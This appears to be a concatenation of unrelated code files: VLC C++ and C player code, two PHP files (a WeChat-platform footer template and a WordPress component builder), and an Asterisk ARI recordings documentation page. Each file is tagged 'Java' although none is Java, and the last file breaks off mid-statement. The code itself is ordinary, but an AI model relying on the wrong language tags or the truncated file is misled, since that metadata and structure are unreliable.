/***************************************************************************** * slider_manager.cpp : Manage an input slider ***************************************************************************** * Copyright (C) 2000-2005 the VideoLAN team * $Id: input_manager.cpp 14556 2006-03-01 19:56:34Z fkuehne $ * * Authors: Gildas Bazin <gbazin@videolan.org> * Clément Stenac <zorglub@videolan.org> * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston MA 02110-1301, USA. *****************************************************************************/ #include "input_manager.hpp" #include "interface.hpp" #include "video.hpp" #include <vlc_meta.h> /* include the toolbar graphics */ #include "bitmaps/prev.xpm" #include "bitmaps/next.xpm" #include "bitmaps/playlist.xpm" /* IDs for the controls */ enum { SliderScroll_Event = wxID_HIGHEST, DiscMenu_Event, DiscPrev_Event, DiscNext_Event }; BEGIN_EVENT_TABLE(InputManager, wxPanel) /* Slider events */ EVT_COMMAND_SCROLL(SliderScroll_Event, InputManager::OnSliderUpdate) /* Disc Buttons events */ EVT_BUTTON(DiscMenu_Event, InputManager::OnDiscMenu) EVT_BUTTON(DiscPrev_Event, InputManager::OnDiscPrev) EVT_BUTTON(DiscNext_Event, InputManager::OnDiscNext) END_EVENT_TABLE() #define STATUS_STOP 0 #define STATUS_PLAYING 1 #define STATUS_PAUSE 2 /***************************************************************************** * Constructor. *****************************************************************************/ InputManager::InputManager( intf_thread_t *_p_intf, Interface *_p_main_intf, wxWindow *p_parent ) : wxPanel( p_parent ) { p_intf = _p_intf; p_main_intf = _p_main_intf; p_input = NULL; i_old_playing_status = STATUS_STOP; i_old_rate = INPUT_RATE_DEFAULT; b_slider_free = VLC_TRUE; i_input_hide_delay = 0; /* Create slider */ slider = new wxSlider( this, SliderScroll_Event, 0, 0, SLIDER_MAX_POS ); /* Create disc buttons */ disc_frame = new wxPanel( this ); disc_menu_button = new wxBitmapButton( disc_frame, DiscMenu_Event, wxBitmap( playlist_xpm ) ); disc_prev_button = new wxBitmapButton( disc_frame, DiscPrev_Event, wxBitmap( prev_xpm ) ); disc_next_button = new wxBitmapButton( disc_frame, DiscNext_Event, wxBitmap( next_xpm ) ); disc_sizer = new wxBoxSizer( wxHORIZONTAL ); disc_sizer->Add( disc_menu_button, 1, wxEXPAND | wxLEFT | wxRIGHT, 1 ); disc_sizer->Add( disc_prev_button, 1, wxEXPAND | wxLEFT | wxRIGHT, 1 ); disc_sizer->Add( disc_next_button, 1, wxEXPAND | wxLEFT | wxRIGHT, 1 ); disc_frame->SetSizer( disc_sizer ); disc_sizer->Layout(); /* Add everything to the panel */ sizer = new wxBoxSizer( wxHORIZONTAL ); SetSizer( sizer ); sizer->Add( slider, 1, wxEXPAND | wxALL, 5 ); sizer->Add( disc_frame, 0, wxALL, 2 ); /* Hide by default */ sizer->Hide( disc_frame ); sizer->Hide( slider ); sizer->Layout(); Fit(); } InputManager::~InputManager() { vlc_mutex_lock( &p_intf->change_lock ); if( p_intf->p_sys->p_input ) vlc_object_release( p_intf->p_sys->p_input ); p_intf->p_sys->p_input = NULL; vlc_mutex_unlock( &p_intf->change_lock ); } /***************************************************************************** * Public methods. *****************************************************************************/ vlc_bool_t InputManager::IsPlaying() { return (p_input && !p_input->b_die); } /***************************************************************************** * Private methods. *****************************************************************************/ void InputManager::UpdateInput() { playlist_t *p_playlist = (playlist_t *)vlc_object_find( p_intf, VLC_OBJECT_PLAYLIST, FIND_ANYWHERE ); if( p_playlist != NULL ) { LockPlaylist( p_intf->p_sys, p_playlist ); p_input = p_intf->p_sys->p_input = p_playlist->p_input; if( p_intf->p_sys->p_input ) vlc_object_yield( p_intf->p_sys->p_input ); UnlockPlaylist( p_intf->p_sys, p_playlist ); vlc_object_release( p_playlist ); } } void InputManager::UpdateNowPlaying() { char *psz_now_playing = vlc_input_item_GetInfo( p_input->input.p_item, _(VLC_META_INFO_CAT), _(VLC_META_NOW_PLAYING) ); if( psz_now_playing && *psz_now_playing ) { p_main_intf->statusbar->SetStatusText( wxString(wxU(psz_now_playing)) + wxT( " - " ) + wxU(p_input->input.p_item->psz_name), 2 ); } else { p_main_intf->statusbar->SetStatusText( wxU(p_input->input.p_item->psz_name), 2 ); } free( psz_now_playing ); } void InputManager::UpdateButtons( vlc_bool_t b_play ) { if( !b_play ) { if( i_old_playing_status == STATUS_STOP ) return; i_old_playing_status = STATUS_STOP; p_main_intf->TogglePlayButton( PAUSE_S ); p_main_intf->statusbar->SetStatusText( wxT(""), 0 ); p_main_intf->statusbar->SetStatusText( wxT(""), 2 ); /* wxCocoa pretends to support this, but at least 2.6.x doesn't */ #ifndef __APPLE__ #ifdef wxHAS_TASK_BAR_ICON if( p_main_intf->p_systray ) { p_main_intf->p_systray->UpdateTooltip( wxString(wxT("VLC media player - ")) + wxU(_("Stopped")) ); } #endif #endif return; } /* Manage Playing status */ vlc_value_t val; var_Get( p_input, "state", &val ); val.i_int = val.i_int == PAUSE_S ? STATUS_PAUSE : STATUS_PLAYING; if( i_old_playing_status != val.i_int ) { i_old_playing_status = val.i_int; p_main_intf->TogglePlayButton( val.i_int == STATUS_PAUSE ? PAUSE_S : PLAYING_S ); /* wxCocoa pretends to support this, but at least 2.6.x doesn't */ #ifndef __APPLE__ #ifdef wxHAS_TASK_BAR_ICON if( p_main_intf->p_systray ) { p_main_intf->p_systray->UpdateTooltip( wxU(p_input->input.p_item->psz_name) + wxString(wxT(" - ")) + (val.i_int == PAUSE_S ? wxU(_("Paused")) : wxU(_("Playing")))); } #endif #endif } } void InputManager::UpdateDiscButtons() { vlc_value_t val; var_Change( p_input, "title", VLC_VAR_CHOICESCOUNT, &val, NULL ); if( val.i_int > 0 && !disc_frame->IsShown() ) { vlc_value_t val; #define HELP_MENU N_("Menu") #define HELP_PCH N_("Previous chapter") #define HELP_NCH N_("Next chapter") #define HELP_PTR N_("Previous track") #define HELP_NTR N_("Next track") var_Change( p_input, "chapter", VLC_VAR_CHOICESCOUNT, &val, NULL ); if( val.i_int > 0 ) { disc_menu_button->Show(); disc_sizer->Show( disc_menu_button ); disc_sizer->Layout(); disc_sizer->Fit( disc_frame ); disc_menu_button->SetToolTip( wxU(_( HELP_MENU ) ) ); disc_prev_button->SetToolTip( wxU(_( HELP_PCH ) ) ); disc_next_button->SetToolTip( wxU(_( HELP_NCH ) ) ); } else { disc_menu_button->Hide(); disc_sizer->Hide( disc_menu_button ); disc_prev_button->SetToolTip( wxU(_( HELP_PTR ) ) ); disc_next_button->SetToolTip( wxU(_( HELP_NTR ) ) ); } ShowDiscFrame(); } else if( val.i_int == 0 && disc_frame->IsShown() ) { HideDiscFrame(); } } void InputManager::HideSlider() { ShowSlider( false ); } void InputManager::HideDiscFrame() { ShowDiscFrame( false ); } void InputManager::UpdateTime() { char psz_time[ MSTRTIME_MAX_SIZE ], psz_total[ MSTRTIME_MAX_SIZE ]; mtime_t i_seconds; i_seconds = var_GetTime( p_intf->p_sys->p_input, "length" ) / 1000000; secstotimestr( psz_total, i_seconds ); i_seconds = var_GetTime( p_intf->p_sys->p_input, "time" ) / 1000000; secstotimestr( psz_time, i_seconds ); p_main_intf->statusbar->SetStatusText( wxU(psz_time) + wxString(wxT(" / ")) +wxU(psz_total), 0 ); } void InputManager::Update() { /* Update the input */ if( p_input == NULL ) { UpdateInput(); if( p_input ) { slider->SetValue( 0 ); } else if( !i_input_hide_delay ) { i_input_hide_delay = mdate() + 200000; } else if( i_input_hide_delay < mdate() ) { if( disc_frame->IsShown() ) HideDiscFrame(); if( slider->IsShown() ) HideSlider(); i_input_hide_delay = 0; } } else if( p_input->b_dead ) { UpdateButtons( VLC_FALSE ); vlc_object_release( p_input ); p_input = NULL; } else { i_input_hide_delay = 0; } if( p_input && !p_input->b_die ) { vlc_value_t pos, len; UpdateTime(); UpdateButtons( VLC_TRUE ); UpdateNowPlaying(); UpdateDiscButtons(); /* Really manage the slider */ var_Get( p_input, "position", &pos ); var_Get( p_input, "length", &len ); if( pos.f_float > 0 && !slider->IsShown() ) ShowSlider(); else if( pos.f_float <= 0 && slider->IsShown() ) HideSlider(); /* Update the slider if the user isn't dragging it. */ if( slider->IsShown() && b_slider_free ) { i_slider_pos = (int)(SLIDER_MAX_POS * pos.f_float); slider->SetValue( i_slider_pos ); } /* Manage Speed status */ vlc_value_t val; var_Get( p_input, "rate", &val ); if( i_old_rate != val.i_int ) { p_main_intf->statusbar->SetStatusText( wxString::Format(wxT("x%.2f"), (float)INPUT_RATE_DEFAULT / val.i_int ), 1 ); i_old_rate = val.i_int; } } } /***************************************************************************** * Event Handlers. *****************************************************************************/ void InputManager::OnDiscMenu( wxCommandEvent& WXUNUSED(event) ) { input_thread_t *p_input = (input_thread_t *)vlc_object_find( p_intf, VLC_OBJECT_INPUT, FIND_ANYWHERE ); if( p_input ) { vlc_value_t val; val.i_int = 2; var_Set( p_input, "title 0", val); vlc_object_release( p_input ); } } void InputManager::OnDiscPrev( wxCommandEvent& WXUNUSED(event) ) { input_thread_t *p_input = (input_thread_t *)vlc_object_find( p_intf, VLC_OBJECT_INPUT, FIND_ANYWHERE ); if( p_input ) { int i_type = var_Type( p_input, "prev-chapter" ); vlc_value_t val; val.b_bool = VLC_TRUE; var_Set( p_input, ( i_type & VLC_VAR_TYPE ) != 0 ? "prev-chapter" : "prev-title", val ); vlc_object_release( p_input ); } } void InputManager::OnDiscNext( wxCommandEvent& WXUNUSED(event) ) { input_thread_t *p_input = (input_thread_t *)vlc_object_find( p_intf, VLC_OBJECT_INPUT, FIND_ANYWHERE ); if( p_input ) { int i_type = var_Type( p_input, "next-chapter" ); vlc_value_t val; val.b_bool = VLC_TRUE; var_Set( p_input, ( i_type & VLC_VAR_TYPE ) != 0 ? "next-chapter" : "next-title", val ); vlc_object_release( p_input ); } } void InputManager::OnSliderUpdate( wxScrollEvent& event ) { vlc_mutex_lock( &p_intf->change_lock ); #ifdef WIN32 if( event.GetEventType() == wxEVT_SCROLL_THUMBRELEASE || event.GetEventType() == wxEVT_SCROLL_ENDSCROLL ) { #endif if( i_slider_pos != event.GetPosition() && p_intf->p_sys->p_input ) { vlc_value_t pos; pos.f_float = (float)event.GetPosition() / (float)SLIDER_MAX_POS; var_Set( p_intf->p_sys->p_input, "position", pos ); } #ifdef WIN32 b_slider_free = VLC_TRUE; } else { b_slider_free = VLC_FALSE; if( p_intf->p_sys->p_input ) UpdateTime(); } #endif #undef WIN32 vlc_mutex_unlock( &p_intf->change_lock ); } void InputManager::ShowSlider( bool show ) { if( !!show == !!slider->IsShown() ) return; UpdateVideoWindow( p_intf, p_main_intf->video_window ); sizer->Show( slider, show ); sizer->Layout(); wxCommandEvent intf_event( wxEVT_INTF, 0 ); p_main_intf->AddPendingEvent( intf_event ); } void InputManager::ShowDiscFrame( bool show ) { if( !!show == !!disc_frame->IsShown() ) return; UpdateVideoWindow( p_intf, p_main_intf->video_window ); sizer->Show( disc_frame, show ); sizer->Layout(); wxCommandEvent intf_event( wxEVT_INTF, 0 ); p_main_intf->AddPendingEvent( intf_event ); }
Java
<?php defined('IN_IA') or exit('Access Denied');?> <div id="footer"> <span class="pull-left"> <p><?php if(empty($_W['setting']['copyright']['footerleft'])) { ?>Powered by <a href="http://www.weixfu.cn"><b>关于微服务</b></a> v<?php echo IMS_VERSION;?> &copy; 2014 <a href="http://www.weixfu.cn">www.weixfu.cn</a><?php } else { ?><?php echo $_W['setting']['copyright']['footerleft'];?><?php } ?></p> </span> <span class="pull-right"> <p><?php if(empty($_W['setting']['copyright']['footerright'])) { ?><a href="http://www.weixfu.cn">关于微服务</a>&nbsp;&nbsp;<?php } else { ?><?php echo $_W['setting']['copyright']['footerright'];?><?php } ?>&nbsp;&nbsp;<?php echo $_W['setting']['copyright']['statcode'];?></p> </span> </div> <div class="emotions" style="display:none;"></div> </body> </html>
Java
<?php /** * Load our components using a static wrapper */ namespace MakeitWorkPress\WP_Components; use WP_Error as WP_Error; defined( 'ABSPATH' ) or die( 'Go eat veggies!' ); class Build { /** * Renders generic template for an atom or molecule. * * @param string $type The type, either a molecule or atom * @param string $template The template to load, either a template in the molecule or atom's folder * @param array $properties The custom properties for the template * @param array $render If the element is rendered. If set to false, the contents of the elements are returned */ private static function render( $type = 'atom', $template, $properties = [], $render = true ) { // Empty properties can be neglected if( empty($properties) ) { $properties = []; } // Properties should be an array if( ! is_array($properties) ) { $error = new WP_Error( 'wrong', sprintf(__('The properties for the molecule or atom called %s are not properly formatted as an array.', 'components'), $template) ); echo $error->get_error_message(); return; } // If we have atom properties, they should have proper properties if( isset($properties['atoms']) && is_array($properties['atoms']) ) { foreach( $properties['atoms'] as $atom ) { if( ! isset($atom['atom']) ) { $error = new WP_Error( 'wrong', sprintf(__('The custom atoms within %s are not properly formatted and miss the atom key.', 'components'), $template) ); echo $error->get_error_message(); return; } } } // Our template path $path = apply_filters( 'components_' . $type . '_path', COMPONENTS_PATH . $type . 's/' . $template . '.php', $template ); if( file_exists($path) ) { ${$type} = apply_filters( 'components_' . $type . '_properties', self::setDefaultProperties($template, $properties, $type), $template ); // If we have the lazyload script defined, we execute it - but we watch for the WP Optimize Script being active if( isset(${$type}['lazyload']) && ${$type}['lazyload'] && ! wp_script_is('lazyload') ) { wp_enqueue_script('lazyload'); } // If we do not render, we return if( $render == false ) { ob_start(); } require($path); if( $render == false ) { return ob_get_clean(); } } else { $error = new WP_Error( 'wrong', sprintf( __('The given template for the molecule or atom called %s does not exist.', 'components'), $template ) ); echo $error->get_error_message(); } } /** * Define the default attributes per template. This allows us to dynamically add attributes * * @param string $template The template to load * @param array $properties The custom properties defined by the developer * @param string $type Whether we load an atom or an molecule * * @return array $properties The custom properties merged with the defaults */ public static function setDefaultProperties( $template, $properties, $type = 'atom' ) { // Define our most basic property - the class $properties['attributes']['class'] = isset($properties['attributes']['class']) ? $type . ' ' . $properties['attributes']['class'] : $type; $properties['attributes']['class'] .= ' ' . $type . '-' . $template; /** * Properties that generate a specific class for a style or are generic */ foreach( ['align', 'animation', 'appear', 'background', 'border', 'color', 'display', 'float', 'grid', 'height', 'hover', 'parallax', 'position', 'rounded', 'width'] as $class ) { if( isset($properties[$class]) && $properties[$class] ) { // Backgrounds if( $class == 'background' && preg_match('/hsl|http|https|rgb|linear-gradient|#/', $properties[$class]) ) { if( preg_match('/http|https/', $properties[$class]) ) { $properties['attributes']['class'] .= ' components-image-background'; if( isset($properties['lazyload']) && $properties['lazyload'] ) { $properties['attributes']['data']['bg'] = 'url(' . $properties[$class] . ')'; $properties['attributes']['class'] .= ' lazy'; } else { $properties['attributes']['style']['background-image'] = 'url(' . $properties[$class] . ')'; } } else { $properties['attributes']['style']['background'] = $properties[$class]; } continue; } if( $class == 'border' && preg_match('/hsl|linear-gradient|rgb|#/', $properties[$class]) ) { if( strpos($properties['border'], 'linear-gradient') === 0 ) { $properties['attributes']['style']['border'] = '2px solid transparent;'; $properties['attributes']['style']['border-image'] = $properties[$class]; $properties['attributes']['style']['border-image-slice'] = 1; } else { $properties['attributes']['style']['border'] = '2px solid ' . $properties[$class]; } continue; } // Color if( $class == 'color' && preg_match('/hsl|rgb|#/', $properties[$class]) ) { $properties['attributes']['style']['color'] = $properties[$class]; continue; } // Continue if our grid is an array if( $class == 'grid' && is_array($properties[$class]) ) { continue; } // Height and Width if( ($class == 'height' || $class == 'width') && preg_match('/ch|em|ex|in|mm|pc|pt|px|rem|vh|vw|%/', $properties[$class]) ) { $properties['attributes']['style']['min-' . $class] = $properties[$class]; continue; } // Set our definite class $properties['attributes']['class'] .= is_bool($properties[$class]) ? ' components-' . $class : ' components-' . $properties[$class] . '-' . $class; } } return $properties; } /** * Displays any atom * * @param string $atom The atom to load * @param array $variables The custom variables for a molecule */ public static function atom( $atom, $variables = array(), $render = true ) { if( $render == false ) { return self::render( 'atom', $atom, $variables, $render ); } self::render( 'atom', $atom, $variables ); } /** * Displays any molecule * * @param string $molecule The atom to load * @param array $variables The custom variables for a molecule */ public static function molecule( $molecule, $variables = array(), $render = true ) { if( $render == false ) { return self::render( 'molecule', $molecule, $variables, $render ); } self::render( 'molecule', $molecule, $variables ); } /** * Turns our attributes into a usuable string for use in our atoms * * @param array $attributes The array with custom properties * @return string $output The attributes as a string */ public static function attributes( $attributes = [] ) { $output = ''; foreach( $attributes as $key => $attribute ) { // Skip empty attributes if( ! $attribute ) { continue; } if( $key == 'data' && is_array($attribute) ) { foreach( $attribute as $data => $value ) { $output .= 'data-' . $data . '="' . $value . '"'; } } elseif( $key == 'style' && is_array($attribute) ) { $output .= $key . '="'; foreach( $attribute as $selector => $value ) { if( ! $value ) { continue; } $output .= $selector . ':' . $value . ';'; } $output .= '"'; } else { $output .= $key .'="' . $attribute . '"'; } } return $output; } /** * Allows us to parse arguments in a multidimensional array * * @param array $args The arguments to parse * @param array $default The default arguments * * @return array $array The merged array */ public static function multiParseArgs( $args, $default ) { if( ! is_array($default) ) { return wp_parse_args( $args, $default ); } $array = []; // Loop through our multidimensional array foreach( [$default, $args] as $elements ) { foreach( $elements as $key => $element ) { // If we have numbered keys if( is_integer($key) ) { $array[] = $element; // Atoms are always overwritten by the arguments } elseif( in_array($key, ['atoms', 'contentAtoms', 'footerAtoms', 'headerAtoms', 'image', 'socketAtoms', 'topAtoms']) ) { $array[$key] = $element; } elseif( isset( $array[$key] ) && (is_array( $array[$key] )) && ! empty($array[$key]) && is_array($element) ) { $array[$key] = self::multiParseArgs( $element, $array[$key] ); } else { $array[$key] = $element; } } } return $array; } }
Java
<!DOCTYPE html> <html> <head> <title>Asterisk Project : Asterisk 12 Recordings REST API</title> <link rel="stylesheet" href="styles/site.css" type="text/css" /> <META http-equiv="Content-Type" content="text/html; charset=UTF-8"> </head> <body class="theme-default aui-theme-default"> <div id="page"> <div id="main" class="aui-page-panel"> <div id="main-header"> <div id="breadcrumb-section"> <ol id="breadcrumbs"> <li class="first"> <span><a href="index.html">Asterisk Project</a></span> </li> <li> <span><a href="Asterisk-12-Documentation_25919697.html">Asterisk 12 Documentation</a></span> </li> <li> <span><a href="Asterisk-12-Command-Reference_26476688.html">Asterisk 12 Command Reference</a></span> </li> <li> <span><a href="Asterisk-12-ARI_22773909.html">Asterisk 12 ARI</a></span> </li> </ol> </div> <h1 id="title-heading" class="pagetitle"> <span id="title-text"> Asterisk Project : Asterisk 12 Recordings REST API </span> </h1> </div> <div id="content" class="view"> <div class="page-metadata"> Added by dlee , edited by wikibot on Nov 08, 2013 </div> <div id="main-content" class="wiki-content group"> <h1 id="Asterisk12RecordingsRESTAPI-Recordings">Recordings</h1> <div class="table-wrap"><table class="confluenceTable"><tbody> <tr> <th class="confluenceTh"><p> Method </p></th> <th class="confluenceTh"><p> Path </p></th> <th class="confluenceTh"><p> Return Model </p></th> <th class="confluenceTh"><p> Summary </p></th> </tr> <tr> <td class="confluenceTd"><p> GET </p></td> <td class="confluenceTd"><p> <a href="Asterisk-12-Recordings-REST-API_22773916.html">/recordings/stored</a> </p></td> <td class="confluenceTd"><p> <a href="Asterisk-12-REST-Data-Models_22773915.html#Asterisk12RESTDataModels-StoredRecording">List[StoredRecording]</a> </p></td> <td class="confluenceTd"><p> List recordings that are complete. </p></td> </tr> <tr> <td class="confluenceTd"><p> GET </p></td> <td class="confluenceTd"><p> <a href="Asterisk-12-Recordings-REST-API_22773916.html">/recordings/stored/{recordingName}</a> </p></td> <td class="confluenceTd"><p> <a href="Asterisk-12-REST-Data-Models_22773915.html#Asterisk12RESTDataModels-StoredRecording">StoredRecording</a> </p></td> <td class="confluenceTd"><p> Get a stored recording's details. </p></td> </tr> <tr> <td class="confluenceTd"><p> DELETE </p></td> <td class="confluenceTd"><p> <a href="Asterisk-12-Recordings-REST-API_22773916.html">/recordings/stored/{recordingName}</a> </p></td> <td class="confluenceTd"><p> void </p></td> <td class="confluenceTd"><p> Delete a stored recording. </p></td> </tr> <tr> <td class="confluenceTd"><p> GET </p></td> <td class="confluenceTd"><p> <a href="Asterisk-12-Recordings-REST-API_22773916.html">/recordings/live/{recordingName}</a> </p></td> <td class="confluenceTd"><p> <a href="Asterisk-12-REST-Data-Models_22773915.html#Asterisk12RESTDataModels-LiveRecording">LiveRecording</a> </p></td> <td class="confluenceTd"><p> List live recordings. </p></td> </tr> <tr> <td class="confluenceTd"><p> DELETE </p></td> <td class="confluenceTd"><p> <a href="Asterisk-12-Recordings-REST-API_22773916.html">/recordings/live/{recordingName}</a> </p></td> <td class="confluenceTd"><p> void </p></td> <td class="confluenceTd"><p> Stop a live recording and discard it. </p></td> </tr> <tr> <td class="confluenceTd"><p> POST </p></td> <td class="confluenceTd"><p> <a href="Asterisk-12-Recordings-REST-API_22773916.html">/recordings/live/{recordingName}/stop</a> </p></td> <td class="confluenceTd"><p> void </p></td> <td class="confluenceTd"><p> Stop a live recording and store it. </p></td> </tr> <tr> <td class="confluenceTd"><p> POST </p></td> <td class="confluenceTd"><p> <a href="Asterisk-12-Recordings-REST-API_22773916.html">/recordings/live/{recordingName}/pause</a> </p></td> <td class="confluenceTd"><p> void </p></td> <td class="confluenceTd"><p> Pause a live recording. </p></td> </tr> <tr> <td class="confluenceTd"><p> DELETE </p></td> <td class="confluenceTd"><p> <a href="Asterisk-12-Recordings-REST-API_22773916.html">/recordings/live/{recordingName}/pause</a> </p></td> <td class="confluenceTd"><p> void </p></td> <td class="confluenceTd"><p> Unpause a live recording. </p></td> </tr> <tr> <td class="confluenceTd"><p> POST </p></td> <td class="confluenceTd"><p> <a href="Asterisk-12-Recordings-REST-API_22773916.html">/recordings/live/{recordingName}/mute</a> </p></td> <td class="confluenceTd"><p> void </p></td> <td class="confluenceTd"><p> Mute a live recording. </p></td> </tr> <tr> <td class="confluenceTd"><p> DELETE </p></td> <td class="confluenceTd"><p> <a href="Asterisk-12-Recordings-REST-API_22773916.html">/recordings/live/{recordingName}/mute</a> </p></td> <td class="confluenceTd"><p> void </p></td> <td class="confluenceTd"><p> Unmute a live recording. </p></td> </tr> </tbody></table></div> <p><span class="confluence-anchor-link" id="Asterisk12RecordingsRESTAPI-listStored"></span></p> <h2 id="Asterisk12RecordingsRESTAPI-GET%2Frecordings%2Fstored">GET /recordings/stored</h2> <p>List recordings that are complete.</p> <p><span class="confluence-anchor-link" id="Asterisk12RecordingsRESTAPI-getStored"></span></p> <h2 id="Asterisk12RecordingsRESTAPI-GET%2Frecordings%2Fstored%2F%7BrecordingName%7D">GET /recordings/stored/{recordingName}</h2> <p>Get a stored recording's details.</p> <h3 id="Asterisk12RecordingsRESTAPI-Pathparameters">Path parameters</h3> <ul> <li>recordingName: string - The name of the recording</li> </ul> <h3 id="Asterisk12RecordingsRESTAPI-ErrorResponses">Error Responses</h3> <ul> <li>404 - Recording not found</li> </ul> <p><span class="confluence-anchor-link" id="Asterisk12RecordingsRESTAPI-deleteStored"></span></p> <h2 id="Asterisk12RecordingsRESTAPI-DELETE%2Frecordings%2Fstored%2F%7BrecordingName%7D">DELETE /recordings/stored/{recordingName}</h2> <p>Delete a stored recording.</p> <h3 id="Asterisk12RecordingsRESTAPI-Pathparameters.1">Path parameters</h3> <ul> <li>recordingName: string - The name of the recording</li> </ul> <h3 id="Asterisk12RecordingsRESTAPI-ErrorResponses.1">Error Responses</h3> <ul> <li>404 - Recording not found</li> </ul> <p><span class="confluence-anchor-link" id="Asterisk12RecordingsRESTAPI-getLive"></span></p> <h2 id="Asterisk12RecordingsRESTAPI-GET%2Frecordings%2Flive%2F%7BrecordingName%7D">GET /recordings/live/{recordingName}</h2> <p>List live recordings.</p> <h3 id="Asterisk12RecordingsRESTAPI-Pathparameters.2">Path parameters</h3> <ul> <li>recordingName: string - The name of the recording</li> </ul> <h3 id="Asterisk12RecordingsRESTAPI-ErrorResponses.2">Error Responses</h3> <ul> <li>404 - Recording not found</li> </ul> <p><span class="confluence-anchor-link" id="Asterisk12RecordingsRESTAPI-cancel"></span></p> <h2 id="Asterisk12RecordingsRESTAPI-DELETE%2Frecordings%2Flive%2F%7BrecordingName%7D">DELETE /recordings/live/{recordingName}</h2> <p>Stop a live recording and discard it.</p> <h3 id="Asterisk12RecordingsRESTAPI-Pathparameters.3">Path parameters</h3> <ul> <li>recordingName: string - The name of the recording</li> </ul> <h3 id="Asterisk12RecordingsRESTAPI-ErrorResponses.3">Error Responses</h3> <ul> <li>404 - Recording not found</li> </ul> <p><span class="confluence-anchor-link" id="Asterisk12RecordingsRESTAPI-stop"></span></p> <h2 id="Asterisk12RecordingsRESTAPI-POST%2Frecordings%2Flive%2F%7BrecordingName%7D%2Fstop">POST /recordings/live/{recordingName}/stop</h2> <p>Stop a live recording and store it.</p> <h3 id="Asterisk12RecordingsRESTAPI-Pathparameters.4">Path parameters</h3> <ul> <li>recordingName: string - The name of the recording</li> </ul> <h3 id="Asterisk12RecordingsRESTAPI-ErrorResponses.4">Error Responses</h3> <ul> <li>404 - Recording not found</li> </ul> <p><span class="confluence-anchor-link" id="Asterisk12RecordingsRESTAPI-pause"></span></p> <h2 id="Asterisk12RecordingsRESTAPI-POST%2Frecordings%2Flive%2F%7BrecordingName%7D%2Fpause">POST /recordings/live/{recordingName}/pause</h2> <p>Pause a live recording. Pausing a recording suspends silence detection, which will be restarted when the recording is unpaused. Paused time is not included in the accounting for maxDurationSeconds.</p> <h3 id="Asterisk12RecordingsRESTAPI-Pathparameters.5">Path parameters</h3> <ul> <li>recordingName: string - The name of the recording</li> </ul> <h3 id="Asterisk12RecordingsRESTAPI-ErrorResponses.5">Error Responses</h3> <ul> <li>404 - Recording not found</li> <li>409 - Recording not in session</li> </ul> <p><span class="confluence-anchor-link" id="Asterisk12RecordingsRESTAPI-unpause"></span></p> <h2 id="Asterisk12RecordingsRESTAPI-DELETE%2Frecordings%2Flive%2F%7BrecordingName%7D%2Fpause">DELETE /recordings/live/{recordingName}/pause</h2> <p>Unpause a live recording.</p> <h3 id="Asterisk12RecordingsRESTAPI-Pathparameters.6">Path parameters</h3> <ul> <li>recordingName: string - The name of the recording</li> </ul> <h3 id="Asterisk12RecordingsRESTAPI-ErrorResponses.6">Error Responses</h3> <ul> <li>404 - Recording not found</li> <li>409 - Recording not in session</li> </ul> <p><span class="confluence-anchor-link" id="Asterisk12RecordingsRESTAPI-mute"></span></p> <h2 id="Asterisk12RecordingsRESTAPI-POST%2Frecordings%2Flive%2F%7BrecordingName%7D%2Fmute">POST /recordings/live/{recordingName}/mute</h2> <p>Mute a live recording. Muting a recording suspends silence detection, which will be restarted when the recording is unmuted.</p> <h3 id="Asterisk12RecordingsRESTAPI-Pathparameters.7">Path parameters</h3> <ul> <li>recordingName: string - The name of the recording</li> </ul> <h3 id="Asterisk12RecordingsRESTAPI-ErrorResponses.7">Error Responses</h3> <ul> <li>404 - Recording not found</li> <li>409 - Recording not in session</li> </ul> <p><span class="confluence-anchor-link" id="Asterisk12RecordingsRESTAPI-unmute"></span></p> <h2 id="Asterisk12RecordingsRESTAPI-DELETE%2Frecordings%2Flive%2F%7BrecordingName%7D%2Fmute">DELETE /recordings/live/{recordingName}/mute</h2> <p>Unmute a live recording.</p> <h3 id="Asterisk12RecordingsRESTAPI-Pathparameters.8">Path parameters</h3> <ul> <li>recordingName: string - The name of the recording</li> </ul> <h3 id="Asterisk12RecordingsRESTAPI-ErrorResponses.8">Error Responses</h3> <ul> <li>404 - Recording not found</li> <li>409 - Recording not in session</li> </ul> </div> </div> </div> <div id="footer"> <section class="footer-body"> <p>Document generated by Confluence on Dec 20, 2013 14:15</p> </section> </div> </div> </body> </html>
Java
/***************************************************************************** * m3u.c : M3U playlist format import ***************************************************************************** * Copyright (C) 2004 VLC authors and VideoLAN * $Id: 02a95984d5fe1968163cb435268a9874f0c65eb9 $ * * Authors: Clément Stenac <zorglub@videolan.org> * Sigmund Augdal Helberg <dnumgis@videolan.org> * * This program is free software; you can redistribute it and/or modify it * under the terms of the GNU Lesser General Public License as published by * the Free Software Foundation; either version 2.1 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public License * along with this program; if not, write to the Free Software Foundation, * Inc., 51 Franklin Street, Fifth Floor, Boston MA 02110-1301, USA. *****************************************************************************/ /***************************************************************************** * Preamble *****************************************************************************/ #ifdef HAVE_CONFIG_H # include "config.h" #endif #include <vlc_common.h> #include <vlc_demux.h> #include <vlc_charset.h> #include "playlist.h" struct demux_sys_t { char *psz_prefix; char *(*pf_dup) (const char *); }; /***************************************************************************** * Local prototypes *****************************************************************************/ static int Demux( demux_t *p_demux); static void parseEXTINF( char *psz_string, char **ppsz_artist, char **ppsz_name, int *pi_duration ); static bool ContainsURL( demux_t *p_demux ); static char *GuessEncoding (const char *str) { return IsUTF8 (str) ? strdup (str) : FromLatin1 (str); } static char *CheckUnicode (const char *str) { return IsUTF8 (str) ? strdup (str): NULL; } /***************************************************************************** * Import_M3U: main import function *****************************************************************************/ int Import_M3U( vlc_object_t *p_this ) { demux_t *p_demux = (demux_t *)p_this; const uint8_t *p_peek; char *(*pf_dup) (const char *) = GuessEncoding; int offset = 0; if( stream_Peek( p_demux->s, &p_peek, 3 ) == 3 && !memcmp( p_peek, "\xef\xbb\xbf", 3) ) { pf_dup = CheckUnicode; /* UTF-8 Byte Order Mark */ offset = 3; } if( demux_IsPathExtension( p_demux, ".m3u8" ) || demux_IsForced( p_demux, "m3u8" ) || 